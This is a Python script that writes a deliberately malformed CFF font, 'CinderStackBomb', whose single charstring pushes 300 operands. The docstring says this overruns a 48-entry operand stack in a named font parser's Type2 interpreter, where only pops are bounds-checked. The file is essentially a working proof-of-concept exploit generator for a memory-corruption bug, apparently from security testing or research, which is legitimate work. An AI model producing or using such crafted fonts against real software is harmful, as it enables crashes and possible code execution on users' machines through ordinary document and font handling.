#!/usr/bin/env python3
import struct


# --------------------------------------------------------------------------- CFF stack bomb
def build_cff():
    """
    Bare CFF with one charstring that pushes 300 operands before endchar.
    FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array;
    27.0 only bounds the *count* on pop paths, the push path walks past the array.
    """
    def index(items):
        if not items:
            return struct.pack(">H", 0)
        off = 1
        offs = [1]
        for it in items:
            off += len(it)
            offs.append(off)
        off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4))
        out = struct.pack(">H", len(items)) + bytes([off_size])
        for o in offs:
            out += o.to_bytes(off_size, "big")
        out += b"".join(items)
        return out

    header = bytes([1, 0, 4, 1])

    name_index = index([b"CinderStackBomb"])

    # charstring: 300 pushes of 1, then endchar
    cs = bytearray()
    for _ in range(300):
        cs.append(139 + 1)     # push small int 1
    cs.append(14)              # endchar
    charstrings = index([bytes(cs)])

    gsubrs = index([])
    strings = index([])

    # Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets.
    # Two-pass: build with placeholder of the same byte width, then patch.
    def top_dict(cs_off, priv_off, priv_size):
        def enc(v):
            # DICT operand: 29 => 5-byte integer (fixed width, easy patching)
            return b"\x1d" + struct.pack(">i", v)
        d = enc(cs_off) + b"\x11"                      # CharStrings
        d += enc(priv_size) + enc(priv_off) + b"\x12"  # Private
        return d

    placeholder = top_dict(0, 0, 0)
    top_index = index([placeholder])

    priv = b"\x00"  # trivial private dict (blueValues absent)
    priv_index_data = priv

    # layout: header | name | top | strings | gsubrs | charstrings | private
    off = len(header) + len(name_index)
    top_off = off
    off += len(top_index)
    off += len(strings)
    off += len(gsubrs)
    cs_off = off
    off += len(charstrings)
    priv_off = off

    top_index = index([top_dict(cs_off, priv_off, len(priv))])
    out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data
    return out


# --------------------------------------------------------------------------- KTX2

if __name__ == "__main__":
    import sys
    out = sys.argv[1] if len(sys.argv) > 1 else "stack_bomb.cff"
    open(out, "wb").write(build_cff())
    print("wrote", out)